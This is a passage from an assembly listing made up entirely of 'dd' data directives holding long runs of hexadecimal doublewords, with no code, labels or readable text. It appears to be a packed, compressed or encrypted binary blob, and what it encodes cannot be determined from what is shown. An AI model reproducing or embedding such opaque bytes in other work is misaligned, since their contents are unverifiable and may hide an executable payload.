21264716h, 0B15110DCh, 0D0182FC4h, 0C83A4284h, 22C4E4ADh dd 81471623h, 0C10BC21h, 0B0396AB2h, 7042F508h, 0A8E42988h dd 4716DE22h, 10982112h, 2ED6B1C7h, 42849018h, 0E4BFC8B0h dd 16992288h, 80214947h, 32B28210h, 6B086C39h, 2DEF8885h dd 542264C4h, 21D84716h, 0B23D1054h, 8483966h, 4F918526h dd 0F04F3CC8h, 343901B2h, 6F42F808h, 672CEA84h, 2CE14478h dd 212B46F3h, 0B2CA1024h, 81439DCh, 0AA9185B3h, 9C440CC8h dd 0E18E932Ch, 88858508h, 0F8C22A90h, 2C6E245Bh, 0EC428E79h dd 0EE625721h, 40421E29h, 0E4E4D7C8h, 6C59C827h, 4284DC1Ch dd 0E455C812h, 6EFB21CCh, 28B9110Ah, 0E444C488h, 428EA22Ch dd 4ECD21BCh, 88013585h, 15A3B8D3h, 84EF2DACh, 62186A07h dd 0B7546793h, 1DC60A65h, 50E91041h, 0A4C74B10h, 0AF25D939h dd 0FC102C5Ch, 1C12719Dh, 32F808FDh, 2016F33Bh, 0BE1C7520h dd 0E6C35B14h, 77EC4BD7h, 75095643h, 72448B06h, 982596B8h dd 84B4D3FCh, 0F96F9EE8h, 0EC1BD303h, 192213C9h, 0C8C1A26Ah dd 64CE0918h, 273E7953h, 21C14EFDh, 0D088FC94h, 0FD18D024h dd 5AF0C28Dh, 3401A922h, 89FD2421h, 8D440F8Ch, 47BB5A44h dd 7765746Dh, 0FE44532Bh dd 6FBC6648h, 860B7EC6h, 6622A042h, 0A80C690h, 4C930F46h dd 213A5814h, 8E6E6481h, 156C294Ch, 2249748Ch, 5B1C44E4h dd 71381485h, 6594AC8h, 0E8101A0Ch, 8E265D7h, 22C2F511h dd 0D52259C8h, 2450C0Eh, 0A2916648h, 0BF168494h, 57249155h dd 6B2A5A8Bh, 0EAE8C190h, 1278276Ch, 9633C70Ch, 0EB9B2D01h dd 26F8BDC1h, 51C657A5h, 0CAE52B4h, 6CB4211Ch, 100E9C59h dd 60B16DF0h, 0F16B0859h, 231A200Eh, 98886320h, 21FBF8FCh dd 0FC98088Dh, 9D284256h, 735A5950h, 0BF6E0C74h, 0E4E9C2A0h dd 0E2BD450Dh, 854C0DCFh, 21590422h, 93466BFCh, 984697ADh dd 10127432h, 2F821248h, 662558B8h, 5E5D1A09h, 9C508A9h dd 0C6A68B1Dh, 0A3085DC2h, 0E1204583h, 443B500Eh, 596D6563h dd 56D2081Eh, 11011180h, 5BCD6BA5h, 7248AD72h, 6658BF45h dd 0F940CC2Fh, 0D0F349F0h, 0D1676409h, 0B3E9BE4Eh, 5B715CC2h dd 0E1884866h, 923C97Ah, 7C8A122Fh, 8201E210h, 0A04E2C2h dd 4033CCD8h, 0B13912F7h, 6740076Ch, 0C897EB04h, 21443830h dd 2D840A28h, 364BE905h, 238C3611h, 0C46F0623h, 303261E9h dd 0F8EB3687h, 0B33101D1h, 11281B12h, 72290AD0h, 383A02D5h dd 2555049Dh, 5BA108DFh, 0EB5216FBh, 69B1A60Bh, 14C8DC1Dh dd 79A8EB43h, 18046642h, 0A0881E9h, 91D8EC53h, 384C9F45h dd 0F488EC85h, 22F69C57h, 0EC0AC050h, 0DC1F6B8Ah, 8A6A4D45h dd 2B813534h, 0C34E39E8h, 9D464D46h, 7754478Ch, 443B064Ch dd 8B461493h, 7413AD48h, 18C8AC05h, 22D04EBh, 464229E8h dd 65DD509Ch, 0E9240884h, 235407E5h, 7C54B2Ah, 8752D2C4h dd 54600AFFh, 2D561F07h, 0E8418156h, 757F69B7h, 2E19225Bh dd 229D429Ch, 0BC4D8F4Bh, 1C0CEB71h, 2874E922h, 5C4B2068h dd 56266E05h, 0AD4C71C0h, 2532D841h, 0D7310755h, 69521156h dd 2232110Ah, 3B2117D0h, 74521B64h, 8B9B8D9Eh, 46E37E24h dd 29CC5053h, 0B3898512h, 81E94C21h, 14DEFB17h, 0B8219C47h dd 2FB2E410h, 0CD08B039h, 0C8189185h, 2CB644A4h, 21204693h dd 0B29F109Ch, 890397Ch, 0FF888588h, 2288C41Fh, 1CF71671h dd 5A42847Ch, 74E49AC8h, 83593827h, 2C11C61Dh, 9001230Bh dd 5815885Ch, 428C1EEAh, 67FE1050h, 483951A2h, 9185E708h dd 443CC83Ah, 46B52CD0h, 1030211Dh, 399EB2B9h, 85A20824h dd 1CC86191h, 4A2C8B44h, 7408E58Eh, 1CD38885h, 5D2208C4h dd 11BC4716h, 462155FCh, 311BD662h, 852F08F4h, 0E8C8BF91h dd 0D2C1844h, 21E0428Eh, 1AF66201h, 0EA08D031h, 62846642h dd 44C86719h, 8E4B2CD3h, 0BC21B442h, 31189B62h, 85A508ACh dd 9C21C7B8h, 61B18E10h, 84941817h, 4AC87742h, 602288E4h dd 16E22316h, 49888010h, 741CCB59h, 0C4324284h, 6C6215BAh dd 220B1B11h, 47209AA3h, 23082078h, 6014E05Eh, 65F21029h dd 6D1490A1h, 21179062h, 727964DBh, 0BC4114Ch, 88135111h dd 2CAD4444h, 3C428E3Ah, 23649621h, 7F112C72h, 120E110Bh dd 0D04E2888h, 1811F7B1h, 51428414h, 6710A3C4h, 2C3A4478h dd 0FC228E8Ch, 0CE234254h, 0EC88717Ch, 0E62D0C44h, 0F508DC39h dd 5C846442h, 11D4620Eh, 45230BDEh, 0C788C490h, 310DB25Bh dd 85B008B8h, 0A8C84291h, 192C9944h, 9C210C46h, 2B28210h dd 7C91992Ah, 0C50818C8h, 890C5DEh, 8A5B5929h, 8B9DB08h dd 0D73942E9h, 946D2317h, 2B212E80h, 31073762h, 14174274h dd 21204716h, 63FD0870h, 601C0951h, 0C4E64284h, 546205CCh dd 230BCF11h, 885090B5h, 1C9E59B8h, 0A1428440h, 6203C5C4h dd 0B8A113Ch, 3090AE23h, 7F527388h, 0E88D0C91h, 5497F584h dd 0F664596h, 0A3052024h, 8080964h, 79D5D742h, 323432E1h dd 1E881819h, 2344E970h, 7C7A684Bh, 9FC15B90h, 803574FFh dd 0BFA4A430h, 0E12CE690h, 150320A1h, 1E64D0B8h, 4012FEDCh dd 42B2CEBBh, 3BD4E6Bh, 0C447BC93h, 36FAF88Bh, 0F0F6F349h dd 7CC7662Fh, 0F024742h, 9A574769h, 0FD09772Eh, 3EF4655Dh dd 341932B4h, 749A7464h, 1599100Eh, 50BD8F2h, 0FEA45379h dd 0FA5E4A6Dh, 5912AB34h, 382F8AAAh, 91012DBFh, 0E03B3016h dd 15A157A7h, 0FC7A16Ch, 8AF05315h, 1D684859h, 2D47A411h dd 347DE59Dh, 138186BEh, 8B539868h, 5DF31259h, 0F8C560EBh dd 9D9F1C75h, 368D0895h, 0DA8B1443h, 2233B02Ch, 23C8B7BBh dd 3426E9C6h, 88C294DCh, 61C52253h, 1BB2314h, 21177C14h dd 49A464AEh, 5685298Bh, 0DBF78A5Ch, 2270443Ah, 69E8148Bh dd 0F03E3241h, 3C25E8A3h, 0C74A7ECBh, 2288C947h, 2AFC7BACh dd 3435E184h, 0BA793061h, 95E90C84h, 1C8BEF33h, 765D5811h dd 6A0D5C62h, 9F28FC09h, 0C501452h, 44116323h, 0E7B92D7Ah dd 5669AAFDh, 5224E290h, 0E96C885Eh, 0A6294224h, 32B8C793h dd 44081143h, 0A897423Ch, 0A432A68Dh, 21542C20h, 819A56D6h dd 930B7E97h, 13C5B120h, 49673235h, 0D4822C1Eh, 503DB162h dd 68386136h, 0D9722054h, 492C88ABh, 96E47F14h, 0D5525BF8h dd 81FEB77h, 8993716Fh, 0B095657h, 52A267E3h, 0D3870525h dd 5C3E8978h, 0D888093Fh, 0B970D834h, 0A60CEB80h, 5206FC7Eh dd 0AF928A82h, 0C9CF7C81h, 37CA62Bh, 5FE9DF75h, 0A47F55DAh dd 0E812C50Bh, 0BA9D253Dh, 0F896121Fh, 0A1206DAh, 0B75A4473h dd 0D1F91630h, 33EEFCC4h, 0D5F4219h, 0E7DEB77Ch, 5F1200A4h dd 67A48EACh, 9644E818h, 21C5C857h, 0BC4217ACh, 0A457F21h dd 0E94432C4h, 30AA27E9h, 60B6E8CCh, 5996E1BEh, 0FC3C8AFh dd 10B8E14h, 60A4E175h, 20641273h, 1994627Ch, 0B781E108h dd 81086411h, 9D38C033h, 0A10F7812h, 22FF950Fh, 0E495082Eh dd 0EE782127h, 3BEF7C0Ah, 0B84E5991h, 39288262h, 57228B9Dh dd 0EBBE24E6h, 0B8131098h, 88525B38h, 0FD430CFh, 0BC04E4E9h dd 0A5CA51E8h, 129EE65Bh, 0CEA26011h, 52080CC8h, 42C4455h dd 7828EFFCh, 0D411EE43h, 953EA61Bh, 98887CB5h, 0F22D8951h dd 14787A76h, 130B86F0h, 1C514868h, 5A222F25h, 1B292A29h dd 0DD8C5083h, 0DB8C955h, 12BF4E1Bh, 66A332B9h, 39436B31h dd 2BB46B1Dh, 602CD98Bh, 0D2CC7AFCh, 0A97F506Ah, 0D8FA4B70h dd 13D86C92h, 94F9D880h, 7290427Ch, 8C5F2730h, 3D588535h dd 200EF511h, 225C4218h, 6042810Bh, 7E722614h, 6545845h dd 60B53E05h, 0E3895173h, 241AB554h, 37965D6Eh, 1F5245FBh dd 4F1AEC50h, 451C5969h, 420D0E40h, 21482054h, 5442FA68h dd 0A13318F9h, 0FAA33F8Dh, 8F449C7Bh, 0F104B80Bh, 890CFA74h dd 49682BCFh, 45967101h, 9F83317Ch, 26090571h, 88173F0Bh dd 10C27179h, 27E345Eh, 5DF40B8Dh, 0C9F7FFB2h, 1E26F3F2h dd 0EB0F5C7Eh, 932FDD34h, 1F1E64D7h, 9D1406EBh, 31D06A08h dd 0BCCC3DCAh, 37A6841Bh, 3A95A5AAh, 1E332044h, 800F38E4h dd 428452D3h, 0A2BFF130h, 4FD0A10Eh, 0B0A5511h, 26154FCAh dd 54B0096Eh, 0AF75051Ah, 34D5B5A4h, 86811003h, 51242C3Dh dd 7562CF7Eh, 78567192h, 5F7F084Fh, 84018F57h, 0E9053021h dd 5756B01Eh, 5C52C4F6h, 20C5484Fh, 0FD00B0FBh, 0A4285A27h dd 0FFA85D0Eh, 1F8CC9Ch, 73889022h, 56629F09h, 3C6A0B10h dd 0C13B5909h, 8D4A0576h, 3A230D16h, 3659647Ch, 74B84B94h dd 0B3995D0h, 20445934h, 0A88D8314h, 0D95728A2h, 0AC891391h dd 0F84427E8h, 8B0C8108h dd 83570E82h, 0AC82D8C0h, 92EE5AEDh, 26C9107Fh, 339E5E3Ch dd 75A83935h, 1A79EBDFh, 8EC819CDh, 0C96B4100h, 0A5EAFD3Ch dd 0AF258D43h, 4061B10h, 1E54840Fh, 77CF492h, 7D89E03Bh dd 30787420h, 0AE233F3Ah, 7889B72Bh, 12E4C4FAh, 5F5BECE8h dd 4AEB6839h, 0D662F87Ah, 0A27C36ABh, 4FE9B844h, 9D8CF4D4h dd 19B4015Dh, 2101A75h, 0C4BB1208h, 4917E25h, 5434F28h dd 31FFFC0Ch, 7F5F08F0h, 0CA6BD2E7h, 0BA0C8F24h, 508A3ACCh dd 63573C85h, 2566A9F6h, 1805C687h, 7421A0CBh, 0AEC6C9A5h dd 0AC50E044h, 0B78B808Dh, 0ECF4956Eh, 74096268h, 7C4F0854h dd 50306A42h, 2B40712Ch, 828F88Bh, 6128718Fh, 8804FB73h dd 227E2F5Dh, 1E1C6ABCh, 0D17815C6h, 711830C8h, 4845FE3Dh dd 0F0EF82Fh, 3BC04DBEh, 0C7DE7CCFh, 3076CDAAh, 0CDD28C9h dd 0EF2B732Eh, 887FE820h, 0B09E4CB3h, 5F633265h, 0EC9F82F8h dd 0E8885FD2h, 5AC9C55Dh, 8184368Ch, 1384070Ch, 81544F8h dd 0B02219FBh, 2BEB2BC4h, 8C9F2BCh, 7507A4DCh, 0DFF15003h dd 2C3E04BEh, 59473282h, 9D88C804h, 0B8978C08h, 4F1CA18Bh dd 108EC428h, 50B526F1h, 78158D47h, 1122ACCDh, 32900C64h dd 0AA51258Ch, 844ECF28h, 5554C92Ch, 7E010871h, 84D4294Fh dd 0FA2CFB98h, 8DDF7886h, 0DCFB9808h, 234E4822h, 0BC42EC59h dd 3CE910FBh, 1A0A97D2h, 0D9ADC2BFh, 388DBCB7h, 7877E098h dd 0CC292777h, 0BB3C797Bh, 5C2C0875h, 0BFE5712h, 2318246Ch dd 14C80310h, 167FA61Ah, 8D3041F4h, 43023044h, 8D68DAAAh dd 56C1BA42h, 0CD4C3868h, 34534FFCh, 0CD8DF1BAh, 0E8838428h dd 31EF5954h, 52E48E6Ah, 9B29450Fh, 8D2411BEh, 41F947D2h dd 3CE7B2DEh, 11989C27h, 0AD4B0FFh, 362C67E8h, 0D6180F15h dd 0B880E744h, 73FD90AEh, 9266850Fh, 2B3A5681h, 0AD3558F2h dd 4B20ABF1h, 4E4BCB90h, 53F5BA2Dh, 0AF11773h, 1FE4172Ch dd 2258AD21h, 2833B112h, 18F32A1Ch, 3C5B461Ah, 88F4212h dd 58C8E151h, 4C743509h, 42862700h, 0BFE19F58h, 0B827C8C3h dd 88FA56A9h, 2154582Dh, 15082B6Dh, 98217458h, 0E1F89C27h dd 0E9111879h, 0BEB82A01h, 226B9488h, 22FC78EDh, 6C3957C9h dd 2BBB0E42h, 7F6AF982h, 701A38C5h, 2971F72Dh, 0E8B51A3Eh dd 0F9CF020Dh, 0B831556Ah, 1B4762FCh, 3E4380BDh, 2AC2705Ah dd 6C540C84h, 99847806h, 0D91849F8h, 23844DC8h, 0A56251F0h dd 0C47BD64Ch, 43E82C74h, 43AF08FBh, 0B747941h, 78511988h dd 0F2E9B384h, 0C42EB31Bh, 0EC33FC88h, 0E6122B50h, 2531564Fh dd 0F514F124h, 48F0CDBBh, 7A8A30C9h, 3FC768BAh, 0B2FAC8EFh dd 462C204Ch, 3ED68AA0h, 1818F868h, 0D1ACE819h, 0AC45F14Dh dd 454CFA16h, 2C6AA134h, 943453Bh, 47194930h, 0E606541h dd 109E4A7Eh, 58A7F9F8h, 71F8F767h, 4BAC0110h, 28802408h dd 181D85F1h, 7B368461h, 46283C40h, 4CD0E1F1h, 1A1AF911h dd 0CCF13810h, 0F5682BF3h, 0CC10DD73h, 6942C5F2h, 91F31228h dd 2E28B208h, 9D41FC2Ah, 0BF11F4D0h, 34BD2D55h, 0EB917D4h dd 6424A192h, 0AEA214EEh, 16E7FFF8h, 0DC1FA820h, 683D9EF4h dd 629A2F08h, 83215A72h, 1DD89455h, 0F1F08D0h, 8405D2B6h dd 104E9BD6h, 4C84F4E0h, 0B44823F2h, 7868AB21h, 90379204h dd 9BA6F4D4h, 5713E432h, 8C213D4Eh, 82BA124Ch, 3D4E5600h dd 426F1540h, 0CC807E4Ah, 480885F4h, 0BBF762F2h, 0F4CC2334h dd 0F1083871h, 0EC840146h, 89EB32F4h, 0C818E015h, 445582E5h dd 68062AFFh, 0E648247Eh, 67F6E238h, 32C810A4h, 85110F08h dd 48A2E748h, 0CD67D3C4h, 733FBB2Fh, 0D0252F9Ah, 108E9AE7h dd 0B7E5C4E7h, 0E1952C4Eh, 91044BE8h, 11E7CC62h, 0D5484ED6h dd 8CFCBB44h, 888A0B6Ah, 0C5754949h, 0E729E7C8h, 2F0CE5F9h dd 0C8841846h, 33232BE7h, 9066FBA7h, 4E74844Bh, 0F8D3CAA9h dd 93D13073h, 4B4EE956h, 0D4103CF4h, 0EB14E742h, 3884FEDEh dd 0B00872E3h, 0AEE3B8DEh, 66F821FEh, 0EEE43888h, 0B8881034h dd 0D5E6FE48h, 206A3227h, 1011E549h, 0E72AC402h, 648C0865h dd 0EAE548B8h, 0BCC80FD4h, 30186079h, 42C7E344h, 10857E4Dh dd 4879110Ah, 28E334C4h, 0C10DF530h, 34101A10h, 8E35ACE3h dd 4B4B6875h, 4865032Ch, 0CEE10F4Dh, 0C2BE7CD0h, 6D17C4E9h dd 0E5C00812h, 44DCEB42h, 0B7EAF011h, 654ACA46h, 5290F931h dd 493F5392h, 81BEBCFh, 0C8F44022h, 8B8BDA3Eh, 984016B4h dd 4A126B1Eh, 273F6E7Fh, 337565BDh, 0C7592491h, 0CCEB13D7h dd 5DA450B0h, 985A3EA3h, 0C8C419B2h, 4CC1214Ah, 2517200Eh dd 2F304776h, 885EBCCh, 5862EA70h, 91F96DCAh, 4478B8EBh dd 0EE496A4Ah, 0EBD0A1F8h, 6424E908h, 0E861E3EEh, 612E51B5h dd 8F94001h, 2C2EE1D9h, 0F743B87Bh, 0A8459E34h, 4744B8E8h dd 0F7B410F9h, 31F8B884h, 0E4635171h, 0A40AB996h, 4A6609BFh dd 45C2CC5Bh, 0D401C51h, 20464286h, 85F9E638h, 62F7B408h dd 23341444h, 0E870F938h, 0E3618849h, 614645B7h, 94F144E9h dd 251F98F1h, 581B9A2Ch, 0BC345A1Eh, 1D1FCD15h, 5C849622h dd 0CE9F1149h, 0E91370A6h, 682346C2h, 34FE2B3Ch, 46B09349h dd 0DE3FDFC0h, 5C71E8F3h, 60C4C3F0h, 10445ECh, 696B1A08h dd 74F46E21h, 0C8BBAF20h, 0B550AEB7h, 0F441ACCh, 0E8ED4464h dd 274AD137h, 89CB5B19h, 0C454EBE0h, 59A92C51h, 0EBDC895Bh dd 0EE92165Bh, 43704B73h, 72424013h, 48D7C24Bh, 0ED88584Fh dd 11B714Fh, 506D452Eh, 28EE6884h, 11EB43DCh, 3EA686B2h dd 88F2B5BFh, 1A7048A8h, 87248C4Ah, 74D067CDh, 725086EEh dd 599F4415h, 7A5EA581h, 254A6642h, 0E80F16B5h, 145733A5h dd 66893B10h, 0F149D98h, 0EAB639E8h, 82FA1044h, 0FB7E0905h dd 55A1320h, 0A0DA7137h, 769838ABh, 0BEF88B49h, 0B02EB21Bh dd 0B590B62Ch, 6284B252h, 0D19553EEh, 573C3B79h, 0D16DE94Ah dd 0CB8197A5h, 1D114870h, 10FF04E4h, 6B290B64h, 0DA762553h dd 4DA60549h, 0ACA484B8h, 0F5808699h, 0DFBCAA99h, 4F966CCEh dd 223BF3D9h, 778F847Ch, 9F8A789h, 2C314DEDh, 3868C65Eh dd 432C5BFh, 0A4F3BC49h, 0D090B9ECh, 64F4D016h, 0D4ED12F2h dd 105CB668h, 66E95EF7h, 5F314B44h, 0F71B4E24h, 573261C4h dd 3BC95D73h, 4347F11Bh, 38485E11h, 216B25Ch, 997B4313h dd 0C25CBD25h, 72547A8h, 5CB299D4h, 2B1401A3h, 271F5068h dd 0DDF3E28Fh, 0F123179Eh, 4684864Bh, 0F3A628C6h, 92853D79h dd 0B5C5A883h, 3B45ABB6h, 3121CD7Bh, 95C90C8Dh, 51293AEDh dd 5FA701CDh, 604BDDA2h, 0E42D02DAh, 0C4E7B4Ch, 0D71A147Eh dd 0BBEB6989h, 50DF2B03h, 14680C9Eh, 0B824E881h, 2C4022A4h dd 2BE94059h, 0C49BC5C8h, 47AB2C56h, 1C2B1CC5h, 0D2714738h dd 0F45FAEA1h, 0C684045h, 55278832h, 56B8B6BAh, 0B3AD6F74h dd 1746E262h, 165F9809h, 0E0681490h, 0BC212646h, 0AA12186Ch dd 13C405A6h, 138D132h, 6CA18E0Fh, 23028CE4h, 0E9BDA803h dd 0C2A2AA0Ch, 853724D4h, 79952253h, 0CF2C17F4h, 0A9906858h dd 6C16691Ch, 99AACC52h, 0BB0C5A8Eh, 8A2C4B5Fh, 761B5748h dd 0A759FA4Fh, 0E6159D3Ch, 1E97C490h, 1799E902h, 0BE2F9CF5h dd 54856951h, 2674884h, 14306564h, 86A797EBh, 0E3C47C10h dd 70B82745h, 43841AD4h, 1AC2C435h, 5917212Ah, 5AC1511h dd 0F8AD4C8Dh, 58C2A364h dd 5413DFE9h, 1A82C2A8h, 3F88A945h, 37054B4Bh, 4814EAF3h dd 1944A261h, 890F285Bh, 4A00240Ch, 4B8A99A9h, 0F8AC6789h dd 0C40A3971h, 102A4A8Eh, 0E04A1D88h, 0ABC21496h, 6EFF74E9h dd 824EE12Bh, 0A64ABD10h, 19E9282Eh, 714A5662h, 520FDA2Ah dd 0C8CC713Bh, 6BA65625h, 1DB22342h, 8945E430h, 95280A09h dd 54698145h, 48802A0Fh, 7945D82Fh, 1CE58AD5h, 12A8110Eh dd 0F7EC20E9h, 6FA1E749h, 0C4120A48h, 9CC562C2h, 14B03599h dd 499E8505h, 0AE55398Ah, 0A24B3B37h, 28AAD276h, 5BDF8325h dd 2475745Bh, 888AA122h, 0F8E208BFh, 0EA458218h, 0A66FD4Bh dd 0E07AF07Ah, 20283197h, 4946A018h, 0CB0B1021h, 97051C18h dd 0D6B74519h, 5771195Eh, 2A606942h, 41449103h, 76D7B0BCh dd 5393E92Ch, 8A216E18h, 72B27C90h, 8832463Eh, 7562A55Dh dd 620A5624h, 0C191114h, 3DE92120h, 0E5C1AB42h, 48F18B92h dd 96E66CDCh, 0E892802Bh, 2C9F5F80h, 4442E4B6h, 0CDDA043Ah dd 64EF69FAh, 0C524B9h, 0B2EB622Ch, 0CCE59734h, 5679143Bh dd 0AC9F2252h, 8B38B3B5h, 39B55650h, 5C42A988h, 855B5F22h dd 0C4AC1082h, 34234282h, 0E91AC1FDh, 684F9C94h, 6C45166Ah dd 82E0812Eh, 33D3A01h, 242EC82Eh, 9BC53AC5h, 0F392A3E8h dd 13F88B12h, 44F0270Ch, 9A2553BCh, 94B7F147h, 4C77593Bh dd 585A791h, 1C628B49h, 212BB67h, 0E528C32Dh, 0EB0BBE23h dd 76CD542Bh, 2D1A9429h, 0FF3591C4h, 7DD11EF0h, 17084956h dd 488D642h, 0D141AC62h, 0E3D58865h, 43D06884h, 0DD9ACCD3h dd 4792039Ch, 47511016h, 2B4F7DE3h, 9C990AF8h, 5A0C168Ah dd 0FCB9125Ah, 83BAE4E1h, 8D169020h, 1A0F4AEBh, 79621464h dd 62AE8186h, 143E5452h, 0F446FD24h, 27B12B51h, 2E89F94Eh dd 454747E2h, 5143421h, 64444A6h, 0FCC65989h, 0A123D637h dd 9E396219h, 0D309940Ah, 897C5915h, 67E4E7DCh, 27598C26h dd 65967C5Ah, 5C1D0512h, 1458E2E8h, 0D1A5596Fh, 16957D2Fh dd 5958277Dh, 0D8895F7Bh, 2DF4CCE7h, 34B1E960h, 0FD71E664h dd 1042D842h, 18B64061h, 16011459h, 84FD393Bh, 0D828E95Ch dd 5211E743h, 0B43EA6ADh, 0D6EDD618h, 4002231Ch, 0D0E22B08h dd 6486E968h, 8B532B16h, 173E4810h, 6E894FB6h, 37E97F85h dd 0FE9025FAh, 10917D34h, 3334035h, 8BF9BC2Fh, 17BAA965h dd 0E579F9A5h, 0B67765FEh, 44FC1230h, 842D3AAEh, 57214224h dd 0C101B3Fh, 5E40883Ah, 0F9B61A2Fh, 0D8227E83h, 0F4D93F41h dd 5F6285F1h, 458B7CC2h, 286DF318h, 0A862F608h, 0F90BEB57h dd 86DE8856h, 442F2354h, 0BFE0C308h, 1450163Fh, 6A2A416Ch dd 9846FEF0h, 57C62690h, 41705881h, 10DEFD86h, 96953E85h dd 75AD69E0h, 1B88861Dh, 8CE96217h, 572D218Eh, 0C551DA3Bh dd 2D172714h, 57F6E118h, 0EC113978h, 45373440h, 220AA810h dd 0E8575E2Dh, 0C274F2CAh, 0D3E3DDD6h, 823468BCh, 7808B565h dd 3DF74240h, 573E880Dh, 0A128BB83h, 2D1B510h, 28F95234h dd 84CEEB84h, 755F0400h, 0D51112D8h, 1C2C8Bh, 0FC3D5616h dd 28B04712h, 88E98999h, 555D152h, 0BE8F2AB2h, 55FE4C51h dd 3FD4CD02h, 28DF8923h, 440A9C67h, 72F8A7Fh, 3CB8F2A2h dd 9648BE0Fh, 24156428h, 424AD551h, 7E7342CCh, 47125C08h dd 4A71F8BDh, 0A5D925AFh, 17AC9AE5h, 0D1BD9E76h, 1C8A4C26h dd 0F6D8E914h, 4281214Bh, 0F85BB88h, 764B2C72h, 546825C6h dd 5B2EC8EDh, 37C8B6A5h, 0DB191555h, 0B214E557h, 2D15364Ah dd 2353525Ch, 0DC441A38h, 42113031h, 98160135h, 199850F9h dd 41EF2BE8h, 8896B82Bh, 0E925B498h, 62BAEC2Ch, 8B425045h dd 0DE4082E8h, 0B21EC7B0h, 0BD6438E4h, 14BFC89Fh, 0DEFB883Fh dd 3E191EB9h, 842FE715h, 5ACCAB95h, 170088Dh, 0B5106CEBh dd 4983A3A2h, 0C55F8DE8h, 0A23835E0h, 0DE7BA962h, 3EA050A5h dd 6086418Ah, 604A13DEh, 99E13FE7h, 31101B14h, 0D64899h dd 7220FE83h, 4A3CE98Fh, 0BCD661BAh, 437B1C10h, 10A78541h dd 474121A7h, 341C2CCAh, 574A7BA0h, 0F650BA9Eh, 0AF78B13h dd 0BA341216h, 0E5F92767h, 1DD915AAh, 173DCC10h, 6B9C6E9h dd 0A205B84Bh, 9419A4C0h, 996D0953h, 20617B4Ah, 0A0DB853Ah dd 0B9F976EEh, 0C314083Eh, 82400ABAh, 5CB95D9Ch, 0FA4CCA3Ah dd 0BC18300h, 0F6751938h, 882832D9h, 20558910h, 0BA584BFh dd 278B1988h, 0B854B8C8h, 7DF79980h, 0BFC10308h, 5133A398h dd 21A1B4BFh, 80F83ADEh, 42069C13h, 0C34A54E9h, 0C7D13CFCh dd 0A19A257Fh, 901591F5h, 94910721h, 0A188B422h, 8FBE4174h dd 502BBF14h, 47E6F6B9h, 2D05D84Bh, 5BFD3E92h, 42AF0C8Ah dd 0C1553CC7h, 5F7FE677h, 0FDF92357h, 176EB66Bh, 0FAE25E18h dd 0F291758Fh, 0BD441D56h, 0DA5E34F8h, 55A084EFh, 5F2108CDh dd 11F03B7Bh, 0ECF55581h, 62FCA4DEh, 0F8E1DC5Eh, 0F6D212BFh dd 0D8DB6BDDh, 8B18C5AFh, 0FEF2B589h, 3EE1E817h, 5B6267BFh dd 78FEC0F2h, 36B73D4Bh, 0BD11172Ah, 0B923F794h, 0E706173Eh dd 4218F8D2h, 38F7113Dh, 1E33ACB1h, 0DCD463B2h, 844E48D8h dd 42389821h, 67991A75h, 0C54C3356h, 659B1134h, 2695CC11h dd 0B132483h, 7F382849h, 2D4EB206h, 0B6CEE917h, 0EBB01CF2h dd 0C82C68AEh, 0B8C203Ch, 160439DEh, 0BC3538E8h, 1605A4CAh dd 2DBCDDF5h, 0FCAF7088h, 0B05749EBh, 95EBD855h, 3D49AAE6h dd 120F8A40h, 0D046DDC9h, 96C4C5B5h, 6089BE05h, 0ECDC408Ah dd 4E479132h, 0E25252EFh, 0EDE8C4D4h, 9DC753FCh, 130F9AE4h dd 3EEFA2D4h, 4FE844ECh, 0EC13846Fh, 4D04BD0Ah, 33B88674h dd 0BB4713A4h, 486E0FCCh, 4E28937h, 7E322302h, 0EDE0C263h dd 0EBD42114h, 0D06B8488h, 0C28DEDE0h, 0FE223C48h, 5CFC76CEh dd 0BDDCE120h, 74126665h, 48597EF0h, 0D9DE423Ch, 174E1609h dd 0A105EBF0h, 14C24850h, 252AB8B5h, 9142F9F4h, 940F1E04h dd 0E6252564h, 117427B2h, 0CA9A5A66h, 0C936AE22h, 72D92B70h dd 7A1D5EAFh, 7C99B050h, 8EDC4EBCh, 555424E8h, 0F3CCE2F7h dd 0D2356D11h, 0CB5CA07Eh, 0BBA92FFBh, 56881790h, 0BB8DDFA5h dd 0D2466930h, 4484FDBCh, 0B54023F1h, 0A88454A2h, 0FCF8223Bh dd 9DD72A01h, 0F3CC6F38h, 0F9DCBD88h, 0BE847816h, 2FB9565Ch dd 4FE6783h, 44427818h, 33835F9h, 0B530AE80h, 0F4D8C8B0h dd 0F1400885h, 345A9662h, 59F4D821h, 0F8160A41h, 1368CB3Bh dd 0EBCB359Ah, 25B90311h, 4087FB57h, 0DB76E956h, 898D959Dh dd 1477D0EBh, 0A108FA82h, 8828BFB6h, 8107EB12h, 443272B8h dd 5E89E96Fh, 0A95613BAh, 535BA18Bh, 4B111h, 9EC47CA1h dd 0F51A47C3h, 9E39AFD0h, 0C9173BE9h, 1F072E08h, 0A1409421h dd 0E814D0B7h, 0ED18194h, 6815C22Ah, 0DDEC2908h, 0E9F15261h dd 5E6ED6E6h, 0BB71B7F3h, 0B45831FCh, 71088D3Ah, 3E1A680Dh dd 0A97D4513h, 4856A363h, 5D63AF37h, 0A75BE2E9h, 9010CEB8h dd 937ECA31h, 29544814h, 0B4F2B21h, 0AF3B7D88h, 7784387Eh dd 39D82405h, 34517049h, 61B9095h, 0AD5CD3D7h, 76C9F187h dd 2E02A311h, 1D9052F2h, 48A524F7h, 0CF838F86h, 3479EBF7h dd 495A654Bh, 68030929h, 0C74E3957h, 0BF7E4DF9h, 46304E5Bh dd 2073C73Bh, 0BCA18309h, 9FD36ED4h, 0F189BAE8h, 39AC6101h dd 33BA1143h, 5CF82438h, 1B2C3EE7h, 3F9041F7h, 8F1676BCh dd 0E1CFF908h, 0F67C6569h dd 4FA478A2h, 0D5D7526Bh, 16D3D9C4h, 3062F91Eh, 28262E26h dd 0B1C76240h, 68630BF6h, 7F9AFC44h, 0C20BF210h, 75B1A8E9h dd 945E6B96h, 8CC564A2h, 6672EE38h, 1F901970h, 0B75E9E49h dd 31CC5869h, 1B740D18h, 0C570C63Eh, 36F8E813h, 18492CAFh dd 0AE47FD46h, 0BD8B0821h, 403C1C32h, 2D42721Eh, 0FDE61420h dd 0FC900885h, 413DFD61h, 0ED3E6B0Fh, 625F48A4h, 5E1138B8h dd 33A4F415h, 0FD96D546h, 2B1E8DAEh, 88849123h, 43E06838h dd 0F617690Ah, 2CE878F8h, 0F7B889B5h, 5E5CBD32h, 0B6D426D3h dd 3C324E7Ch, 85C69EBEh, 25AB5C68h, 89E52DEBh, 158B3C62h dd 222F6F14h, 8FF1F530h, 0E9181C40h, 0E10670A4h, 90A2A832h dd 